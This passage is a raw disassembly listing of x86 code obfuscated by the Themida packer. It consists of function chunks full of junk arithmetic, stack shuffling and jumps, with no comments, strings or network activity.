; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56AFA0: ; CODE XREF: sub_5678CB-4826j
or cl, 39h
shl cl, 1
add cl, 1Bh
or dl, cl
pop ecx
push ecx
mov ch, 81h
shl ch, 1
jmp loc_5606E9
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56AFB5: ; CODE XREF: sub_569193-5ACCj
mov ebx, [esp+8+var_8]
push 34BAh
mov [esp+0Ch+var_C], esi
push esp
pop esi
add esi, 4
push eax
mov eax, 4
add esi, eax
jmp loc_560609
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574B8A
loc_56AFD5: ; CODE XREF: sub_574B8A+Fj
pop esp
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
mov word ptr [esp-6+arg_0+2], cx
movzx cx, al
push cx
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574B8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56AFF2: ; CODE XREF: sub_5687A3-4D3Aj
add esi, 520F92ABh
add ebp, esi
pop esi
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_567C76
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56B006: ; CODE XREF: sub_56B06D-5059j
mov esi, [esp+18h+var_18]
add esp, 4
sub ecx, 64EF5701h
jmp loc_56DC27
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680F2
loc_56B01A: ; CODE XREF: sub_5680F2+6CECj
mov ecx, 7C307C5Ah
add ebx, ecx
pop ecx
jmp sub_568D93
; END OF FUNCTION CHUNK FOR sub_5680F2
; ---------------------------------------------------------------------------
loc_56B027: ; CODE XREF: Themida_:0056E4C2j
xor eax, 25EE6378h
add eax, 49195742h
push edx
mov edx, 0A44A5D2Dh
jmp loc_5646C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C474
loc_56B03C: ; CODE XREF: sub_56C474+2CCAj
xchg ebx, [esp+8+var_8]
pop esp
push ebp
mov ebp, esp
jmp sub_56102D
; END OF FUNCTION CHUNK FOR sub_56C474
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56B048: ; CODE XREF: sub_56616D+4C4Cj
pop esp
push edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp-0Ch+arg_8]
pop esp
mov [esp-10h+arg_C], edx
mov edx, esp
add edx, 4
jmp loc_57504A
; END OF FUNCTION CHUNK FOR sub_56616D
; =============== S U B R O U T I N E =======================================
sub_56B06D proc near ; DATA XREF: Themida_:0055FD84o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005619BA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005637E5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00563917 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564185 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005644AA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564DFB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00565000 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565954 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00565C80 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00566002 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005661E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005667AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005669B2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00566E80 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056799F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568E4D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568F46 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569503 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00569C7B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569D2F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B006 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B377 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D606 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056D6DD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DC27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056DCBE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056E241 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056EBE0 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0056F39E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F629 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057039C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057114E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005728AA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00572B8E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00572D83 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005737B9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573CE5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00574A50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575188 SIZE 00000015 BYTES
push dword ptr [edi+38h]
push ecx
jmp loc_5637E5
sub_56B06D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_56B076: ; CODE XREF: sub_570C6A-44EAj
xchg edi, [esp+8+var_8]
mov esp, [esp+8+var_8]
sub esp, 4
mov [esp+0], esi
push 4
pop esi
add ebp, esi
pop esi
sub esp, 4
mov [esp+0], edi
mov edi, 2
sub ebp, 50B6274Ch
add ebp, edi
push esi
jmp loc_56C817
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56B0AA: ; CODE XREF: sub_5673C3+8DE7j
xchg eax, ebx
xor eax, 54423624h
jmp loc_56C2FB
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572805
loc_56B0B5: ; CODE XREF: sub_572805-2652j
mov al, 0ADh
mov bl, al
pop eax
xor bl, dl
pop edx
sub al, bl
pop bx
jmp sub_569D5F
; END OF FUNCTION CHUNK FOR sub_572805
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56B0C6: ; CODE XREF: sub_5605BC+6F5Bj
xor edx, [esp+24h+var_24]
mov esp, [esp+24h+var_24]
push ecx
mov ecx, esp
jmp loc_56D012
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_56B0D4: ; CODE XREF: sub_57109F+2DB4j
pop esi
jmp loc_5720EF
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
loc_56B0DA: ; CODE XREF: Themida_:00562B31j
xor ecx, 0E898E16h
sub ebx, ecx
jmp loc_56C7CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56B0E7: ; CODE XREF: sub_5620B7+E72Cj
sub edx, 70FA7D16h
sub edx, 5556833Ah
push esi
mov esi, 433C4466h
jmp loc_5669EA
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_56B0FE: ; CODE XREF: sub_56D464+63D7j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0Ch+var_C]
jmp loc_56D447
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_56B111: ; CODE XREF: sub_564CDA+9F66j
mov eax, 681E6541h
jmp loc_5604E7
; END OF FUNCTION CHUNK FOR sub_564CDA
; =============== S U B R O U T I N E =======================================
sub_56B11B proc near ; CODE XREF: sub_564CDA-149Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561F4A SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00562663 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563012 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056403B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056424E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564F91 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005670B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00568956 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568EA7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569E4B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A496 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AB28 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056B41D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B443 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E34E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E957 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E9B7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570FDA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057157C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573D07 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
push edx
mov edx, 4
sub ecx, 348F715Dh
jmp loc_573D07
sub_56B11B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56B137: ; CODE XREF: sub_57354D-85D3j
push [esp+8+var_4]
mov ebx, [esp+0Ch+var_C]
jmp loc_571C10
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_56B143: ; CODE XREF: sub_560056+12938j
pop esp
push eax
mov eax, edx
mov edi, eax
pop eax
push [esp+0Ch+var_C]
jmp loc_56E982
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_56B152: ; CODE XREF: sub_56BC97-3346j
sub eax, 4
xchg eax, [esp+4+var_4]
jmp loc_562143
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
loc_56B15F: ; CODE XREF: Themida_:0056D23Fj
mov [esp], esi
mov esi, 6F205B84h
xor esi, 6894BDCh
mov eax, esi
pop esi
sub ecx, 11CF052Ah
add ecx, 4132736Eh
add ecx, eax
jmp loc_574231
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_56B183: ; CODE XREF: sub_56F782-4ACFj
add esp, 4
add esp, 4
push ebp
mov ebp, 0AF15B2Bh
jmp loc_564C26
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
loc_56B194: ; CODE XREF: Themida_:005711D1j
mov edx, [esp]
jmp loc_563D71
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56B19C: ; CODE XREF: sub_571088-7885j
sub edi, 13002936h
add edi, 34ED6A1Dh
jmp loc_56F318
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_56B1AD: ; CODE XREF: sub_56FCD7-4607j
push [esp+8+var_8]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push [esp+10h+var_C]
pop ebx
jmp loc_56524E
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56B1C8: ; CODE XREF: sub_5678CB+B34Dj
sub ch, 0A1h
add ch, ah
add ch, 0A1h
jmp loc_5668F4
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56B1D5: ; CODE XREF: sub_57354D-10701j
mov esi, esp
jmp loc_566CB5
; END OF FUNCTION CHUNK FOR sub_57354D
; =============== S U B R O U T I N E =======================================
sub_56B1DC proc near ; DATA XREF: Themida_:0055FF50o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056033F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00560F03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560F33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561F1F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566A2E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566A41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566A5D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566EFE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568041 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005682A8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056883D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005693A1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D482 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056F143 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FC3E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005700D0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057317E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005731E2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573642 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005754A2 SIZE 0000000B BYTES
mov ecx, [esp+0]
jmp loc_566A2E
sub_56B1DC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561979
loc_56B1E4: ; CODE XREF: sub_561979+AFF7j
mov eax, 0F7C6D91h
sub eax, 724148BCh
jmp loc_563160
; END OF FUNCTION CHUNK FOR sub_561979
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56B1F3: ; CODE XREF: sub_574304-F844j
mov [esp+8+var_8], edx
pop eax
mov edx, [esp+4+var_4]
jmp loc_572F17
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56B1FF: ; CODE XREF: sub_5734A7-438Ej
push esp
pop edi
jmp loc_566BB0
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56B206: ; CODE XREF: sub_572141-EDBEj
sub ebp, 1B3F0333h
jmp loc_569D35
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_56B211: ; CODE XREF: sub_567CFE+BAFEj
mov ecx, 4B8E0F9Ch
jmp loc_5604BE
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56B21B: ; CODE XREF: sub_574656-AF19j
add esp, 4
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_574A19
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_56B235: ; CODE XREF: sub_573876-1241Bj
shl edi, 2
push esi
mov esi, 0FDE63C5h
or edi, esi
mov esi, [esp+8+var_8]
add esp, 4
sub edi, 82053516h
push esi
mov esi, edi
push eax
mov eax, esi
push eax
pop ebx
pop eax
pop esi
jmp loc_564D09
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56B25B: ; CODE XREF: sub_574656-130DCj
push 3EF1h
mov [esp+4+var_4], edi
push ebx
jmp loc_573A16
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56B269: ; CODE XREF: sub_571C93-7170j
pop esp
push 3487h
mov [esp+4+var_4], edi
mov edi, 38134BBFh
add edi, 0FFFFFFFFh
or edi, 4D0438B1h
push 31B7h
mov [esp+8+var_8], ecx
push eax
mov eax, 630F5783h
jmp loc_56B49F
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56B296: ; CODE XREF: sub_564D26-28DDj
xor ebx, [esp+0Ch+var_C]
pop esp
sub esp, 4
mov [esp+0Ch+var_C], edx
push edi
push edx
push ecx
push 1BEB313Ah
jmp loc_56FE17
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_56B2AD: ; CODE XREF: sub_56189F+Ej
push edx
push ebx
jmp loc_5703A8
; END OF FUNCTION CHUNK FOR sub_56189F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_56B2B4: ; CODE XREF: sub_56264C-B48j
add eax, 24217B3Ch
sub eax, 3A4F20D0h
push ebx
jmp loc_56E92D
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56B2C4: ; CODE XREF: sub_56FA15+2E71j
push 6357h
mov [esp+8+var_8], ebx
push edx
push 488Ah
mov [esp+10h+var_10], ecx
jmp loc_56754C
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_56B2DA: ; CODE XREF: sub_567B29+692Fj
shl esi, 7
or esi, 309E2B92h
or esi, 63B0300Eh
add esi, 2A2E391Ch
add ebx, 2D166BBEh
jmp loc_5722BB
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56513E
loc_56B2FA: ; CODE XREF: sub_56513E+2393j
mov ebx, 1593FF1h
push ebx
pop esi
pop ebx
jmp loc_562890
; END OF FUNCTION CHUNK FOR sub_56513E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E27
loc_56B307: ; CODE XREF: sub_570E27+Cj
xchg ebx, [esp+4+var_4]
pop esp
jmp loc_56AC29
; END OF FUNCTION CHUNK FOR sub_570E27
; =============== S U B R O U T I N E =======================================
sub_56B310 proc near ; CODE XREF: sub_564B5A+406Aj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 00566E06 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567AD4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00574CA8 SIZE 00000016 BYTES
push ebp
push 75555ED6h
mov ebp, [esp+4+var_4]
add esp, 4
and ebp, 4BC74DF2h
jmp loc_574CA8
sub_56B310 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_56B32A: ; CODE XREF: sub_5681F5+Cj
mov ebx, esi
mov esi, [esp+8+var_8]
push edx
push esp
jmp loc_56D777
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56B336: ; CODE XREF: sub_5685B2-6AF7j
sub ebx, 1C927940h
jmp loc_56C015
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564746
loc_56B341: ; CODE XREF: sub_564746+79D2j
push eax
mov ah, 31h
or ah, 49h
jmp loc_56FAA0
; END OF FUNCTION CHUNK FOR sub_564746
; ---------------------------------------------------------------------------
loc_56B34C: ; CODE XREF: Themida_:0056D547j
xor ebx, 7FF756FBh
sub eax, 70BE709Eh
sub eax, 50F258F1h
add eax, 36767FB3h
add eax, ebx
sub eax, 36767FB3h
add eax, 50F258F1h
add eax, 70BE709Eh
jmp loc_567318
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56B377: ; CODE XREF: sub_56B06D-46A4j
mov [esp+14h+var_14], ecx
jmp loc_575188
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
loc_56B37F: ; CODE XREF: Themida_:0056996Aj
sub edx, 68A02869h
add edx, 4FBE35B9h
add edx, 0B7EE6BBAh
sub ecx, edx
pop edx
add edi, ecx
pop ecx
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_56FCAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_56B3AA: ; CODE XREF: sub_56FD97-F4C2j
xchg edi, [esp+8+var_8]
pop esp
push ebp
push edx
pop ebp
jmp loc_565A07
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56331C
loc_56B3B6: ; CODE XREF: sub_56331C-289Dj
add esp, 4
push ecx
mov ecx, 652374FEh
neg ecx
sub ecx, 22655B92h
add eax, ecx
pop ecx
sub eax, 0BF91C3Ch
sub eax, 28350427h
add eax, edx
add eax, 28350427h
jmp sub_5681F5
; END OF FUNCTION CHUNK FOR sub_56331C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56B3E0: ; CODE XREF: sub_574304-EBA8j
shr eax, 0Eh
xor eax, ecx
push 419Dh
jmp loc_5654CE
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_56B3EF: ; CODE XREF: sub_574DC1-C8CAj
xor ebp, [esp+0Ch+var_C]
pop esp
add eax, 11A44048h
jmp loc_5658EC
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_56B3FD: ; CODE XREF: sub_566C83+3AE6j
sub ebx, 148E4187h
push esi
push eax
jmp loc_568AD9
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56B40A: ; CODE XREF: sub_56CD13+Aj
add esp, 4
push eax
jmp loc_56629C
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
loc_56B416: ; CODE XREF: Themida_:0056189Aj
neg esi
jmp loc_5709CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56B41D: ; CODE XREF: sub_56B11B-C6Bj
push [esp+4+var_4]
pop eax
sub esp, 4
jmp loc_570FDA
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56B429: ; CODE XREF: sub_57354D-2B5Cj
sub ebx, 38164261h
inc ebx
push esi
mov esi, 12CC4A09h
add ebx, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_5708E9
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56B443: ; CODE XREF: sub_56B11B-8AB1j
xor ebx, [esp+4+var_4]
pop esp
push 4380h
mov [esp+4+var_4], ecx
push 6A49h
mov [esp+8+var_8], eax
push esi
mov esi, 62604585h
push 0
sub [esp+10h+var_10], 3D1274E9h
jmp loc_564F91
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56B46E: ; CODE XREF: sub_570732-F266j
push 1
push [esp+8+var_8]
mov ebp, [esp+0Ch+var_C]
add esp, 4
push edi
mov edi, esp
push esi
mov esi, 4
sub edi, 5FCB59FAh
add edi, esi
add edi, 5FCB59FAh
pop esi
sub esp, 4
jmp loc_56FC70
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56B49F: ; CODE XREF: sub_571C93-6A02j
mov ecx, 1138295Fh
inc ecx
jmp loc_56F0A3
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56B4AA: ; CODE XREF: sub_5643EB+7BADj
pop ebx
add esp, 4
jmp loc_56A89D
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56B4B6: ; CODE XREF: sub_563A7F+B0C6j
pop ecx
push esi
jmp loc_56C785
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56B4BD: ; CODE XREF: sub_56FB8A-402Aj
inc ecx
sub ecx, 5676367Fh
mov edx, ecx
pop ecx
add eax, edx
pop edx
xor eax, [esp+0]
jmp loc_5643AB
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_56B4D2: ; CODE XREF: sub_572DD7+118Ej
xor edi, 74246D63h
push ecx
mov ecx, 0EF42A98Ah
xor edi, ecx
jmp loc_565797
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56B4E5: ; CODE XREF: sub_57354D-C9A2j
shl ecx, 1
jmp loc_5717FC
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56B4EC: ; CODE XREF: sub_5713A7+D3Dj
add edx, 41364FF5h
pop ecx
sub esp, 4
jmp loc_56F18F
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56B4FB: ; CODE XREF: sub_561541-13AFj
pop ecx
mov edx, [esp+0Ch+var_C]
add esp, 4
push edi
mov edi, 1AA0B7B6h
jmp loc_561217
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56B50D: ; CODE XREF: sub_56AEF2-11E1j
push [esp+0Ch+var_C]
pop eax
push eax
jmp loc_568DBD
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56B517: ; CODE XREF: sub_565632+FA4j
mov edx, [esp-0Ch+arg_8]
add esp, 4
xor ecx, 2801673Bh
not ecx
and ecx, 26BF3AC3h
sub ecx, 0A8A1E38Bh
and ecx, 7DB157AFh
jmp loc_56F3EC
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56B53C: ; CODE XREF: sub_57146D-D279j
shl al, 6
jmp loc_56ACEF
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56B544: ; CODE XREF: sub_564D26+528Dj
push [esp+14h+var_14]
pop eax
add esp, 4
push 0ABFh
mov [esp+14h+var_14], edx
push esp
push [esp+18h+var_18]
pop edx
add esp, 4
add edx, 4
sub esp, 4
mov [esp+18h+var_18], ebp
push 327237CAh
jmp loc_5635BE
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_56B577 proc near ; CODE XREF: sub_564017+4j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00561BC5 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005651FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005671D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005691DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B5C9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E621 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056F718 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00570288 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00572FA8 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
push 2DB7h
mov [esp+8+var_8], esp
push ebp
mov ebp, 4
add [esp+0Ch+var_8], ebp
pop ebp
push [esp+8+var_8]
pop ebp
jmp loc_572FA8
sub_56B577 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56B599: ; CODE XREF: sub_5638E4+D9Dj
shl ebx, 6
jmp loc_5614DA
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56B5A1: ; CODE XREF: sub_56CC46+B9Bj
dec ecx
sub ecx, 5CF60CEDh
push esi
mov esi, 0AF5D7F91h
push ebx
mov ebx, 76B4784Ah
jmp loc_5616EA
